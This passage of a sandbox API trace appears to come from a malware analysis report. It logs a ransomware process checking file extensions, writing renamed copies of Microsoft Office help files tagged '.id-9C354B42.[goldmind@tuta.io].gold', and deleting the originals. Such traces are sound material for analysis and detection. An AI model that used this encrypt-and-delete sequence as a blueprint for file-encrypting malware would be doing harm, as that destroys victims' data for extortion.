lpString2=".HXK") returned -1 [0103.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0103.303] lstrlenW (lpString=".1cd") returned 4 [0103.303] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0103.303] lstrlenW (lpString=".jpg") returned 4 [0103.303] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.303] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.303] lstrlenW (lpString="MSACCESS.DEV_K_COL.HXK") returned 22 [0103.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.303] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=113) returned 1 [0103.303] CloseHandle (hObject=0x3a8) returned 1 [0103.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk")) returned 0x20 [0103.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.304] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.304] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.304] GetLastError () returned 0x0 [0103.304] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x71, lpOverlapped=0x0) returned 1 [0103.305] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.306] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.306] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x100, lpOverlapped=0x0) returned 1 [0103.306] SetEndOfFile (hFile=0x38c) returned 1 [0103.306] CloseHandle (hObject=0x38c) returned 1 [0103.306] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.306] SetEndOfFile (hFile=0x3a8) returned 1 [0103.308] CloseHandle (hObject=0x3a8) returned 1 [0103.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk")) returned 1 [0103.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0103.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0103.309] lstrlenW (lpString=".doc") returned 4 [0103.309] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.309] lstrlenW (lpString=".docx") returned 5 [0103.309] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.309] lstrlenW (lpString=".pdf") returned 4 [0103.309] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.309] lstrlenW (lpString=".xls") returned 4 [0103.309] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.309] lstrlenW (lpString=".xlsx") returned 5 [0103.309] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.309] lstrlenW (lpString=".ppt") returned 4 [0103.309] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0103.309] lstrlenW (lpString=".zip") returned 4 [0103.309] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.309] lstrlenW (lpString=".rar") returned 4 [0103.309] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.309] lstrlenW (lpString=".bz2") returned 4 [0103.309] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.309] lstrlenW (lpString=".7z") returned 3 [0103.309] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0103.309] lstrlenW (lpString=".dbf") returned 4 [0103.309] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0103.309] lstrlenW (lpString=".1cd") returned 4 [0103.309] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0103.309] lstrlenW (lpString=".jpg") returned 4 [0103.309] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0103.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0103.309] lstrlenW (lpString=".doc") returned 4 [0103.309] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.309] lstrlenW (lpString=".docx") returned 5 [0103.309] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.309] lstrlenW (lpString=".pdf") returned 4 [0103.309] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.309] lstrlenW (lpString=".xls") returned 4 [0103.309] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.309] lstrlenW (lpString=".xlsx") returned 5 [0103.309] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.309] lstrlenW (lpString=".ppt") returned 4 [0103.309] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0103.309] lstrlenW (lpString=".zip") returned 4 [0103.309] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.309] lstrlenW (lpString=".rar") returned 4 [0103.309] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.310] lstrlenW (lpString=".bz2") returned 4 [0103.310] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.310] lstrlenW (lpString=".7z") returned 3 [0103.310] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0103.310] lstrlenW (lpString=".dbf") returned 4 [0103.310] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0103.310] lstrlenW (lpString=".1cd") returned 4 [0103.310] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0103.310] lstrlenW (lpString=".jpg") returned 4 [0103.310] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.310] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0103.310] lstrlenW (lpString="MSACCESS.HXS") returned 12 [0103.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.310] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3877906) returned 1 [0103.310] CloseHandle (hObject=0x3a8) returned 1 [0103.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs")) returned 0x20 [0103.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0103.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0103.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0103.311] lstrlenW (lpString=".doc") returned 4 [0103.311] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.311] lstrlenW (lpString=".docx") returned 5 [0103.311] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0103.311] lstrlenW (lpString=".pdf") returned 4 [0103.311] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.311] lstrlenW (lpString=".xls") returned 4 [0103.311] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.311] lstrlenW (lpString=".xlsx") returned 5 [0103.311] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0103.311] lstrlenW (lpString=".ppt") returned 4 [0103.311] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0103.311] lstrlenW (lpString=".zip") returned 4 [0103.311] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.311] lstrlenW (lpString=".rar") returned 4 [0103.311] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.311] lstrlenW (lpString=".bz2") returned 4 [0103.311] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.311] lstrlenW (lpString=".7z") returned 3 [0103.311] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0103.311] lstrlenW (lpString=".dbf") returned 4 [0103.311] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0103.311] lstrlenW (lpString=".1cd") returned 4 [0103.311] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0103.311] lstrlenW (lpString=".jpg") returned 4 [0103.311] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0103.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0103.311] lstrlenW (lpString=".doc") returned 4 [0103.311] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.311] lstrlenW (lpString=".docx") returned 5 [0103.311] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0103.311] lstrlenW (lpString=".pdf") returned 4 [0103.311] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.311] lstrlenW (lpString=".xls") returned 4 [0103.311] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.311] lstrlenW (lpString=".xlsx") returned 5 [0103.312] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0103.312] lstrlenW (lpString=".ppt") returned 4 [0103.312] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0103.312] lstrlenW (lpString=".zip") returned 4 [0103.312] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.312] lstrlenW (lpString=".rar") returned 4 [0103.312] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.312] lstrlenW (lpString=".bz2") returned 4 [0103.312] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.312] lstrlenW (lpString=".7z") returned 3 [0103.312] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0103.312] lstrlenW (lpString=".dbf") returned 4 [0103.312] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0103.312] lstrlenW (lpString=".1cd") returned 4 [0103.312] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0103.312] lstrlenW (lpString=".jpg") returned 4 [0103.312] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.312] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0103.312] lstrlenW (lpString="MSACCESS_COL.HXC") returned 16 [0103.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.313] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=636) returned 1 [0103.313] CloseHandle (hObject=0x3a8) returned 1 [0103.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc")) returned 0x20 [0103.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.313] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.313] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.314] GetLastError () returned 0x0 [0103.314] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x27c, lpOverlapped=0x0) returned 1 [0103.315] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x280, lpOverlapped=0x0) returned 1 [0103.315] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.315] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0103.316] SetEndOfFile (hFile=0x38c) returned 1 [0103.316] CloseHandle (hObject=0x38c) returned 1 [0103.316] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.316] SetEndOfFile (hFile=0x3a8) returned 1 [0103.317] CloseHandle (hObject=0x3a8) returned 1 [0103.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc")) returned 1 [0103.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0103.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0103.318] lstrlenW (lpString=".doc") returned 4 [0103.318] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.318] lstrlenW (lpString=".docx") returned 5 [0103.318] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.318] lstrlenW (lpString=".pdf") returned 4 [0103.318] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.318] lstrlenW (lpString=".xls") returned 4 [0103.318] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.318] lstrlenW (lpString=".xlsx") returned 5 [0103.318] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.318] lstrlenW (lpString=".ppt") returned 4 [0103.318] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0103.318] lstrlenW (lpString=".zip") returned 4 [0103.318] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.318] lstrlenW (lpString=".rar") returned 4 [0103.318] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.318] lstrlenW (lpString=".bz2") returned 4 [0103.318] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.319] lstrlenW (lpString=".7z") returned 3 [0103.319] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0103.319] lstrlenW (lpString=".dbf") returned 4 [0103.319] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0103.319] lstrlenW (lpString=".1cd") returned 4 [0103.319] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0103.319] lstrlenW (lpString=".jpg") returned 4 [0103.319] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0103.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0103.319] lstrlenW (lpString=".doc") returned 4 [0103.319] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.319] lstrlenW (lpString=".docx") returned 5 [0103.319] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.319] lstrlenW (lpString=".pdf") returned 4 [0103.319] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.319] lstrlenW (lpString=".xls") returned 4 [0103.319] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.319] lstrlenW (lpString=".xlsx") returned 5 [0103.319] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.319] lstrlenW (lpString=".ppt") returned 4 [0103.319] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0103.319] lstrlenW (lpString=".zip") returned 4 [0103.319] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.319] lstrlenW (lpString=".rar") returned 4 [0103.319] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.319] lstrlenW (lpString=".bz2") returned 4 [0103.319] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.319] lstrlenW (lpString=".7z") returned 3 [0103.319] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0103.319] lstrlenW (lpString=".dbf") returned 4 [0103.319] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0103.319] lstrlenW (lpString=".1cd") returned 4 [0103.319] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0103.319] lstrlenW (lpString=".jpg") returned 4 [0103.319] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.319] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0103.319] lstrlenW (lpString="MSACCESS_COL.HXT") returned 16 [0103.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.320] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=208) returned 1 [0103.320] CloseHandle (hObject=0x3a8) returned 1 [0103.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt")) returned 0x20 [0103.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.320] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.320] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.321] GetLastError () returned 0x0 [0103.321] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xd0, lpOverlapped=0x0) returned 1 [0103.322] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe0, 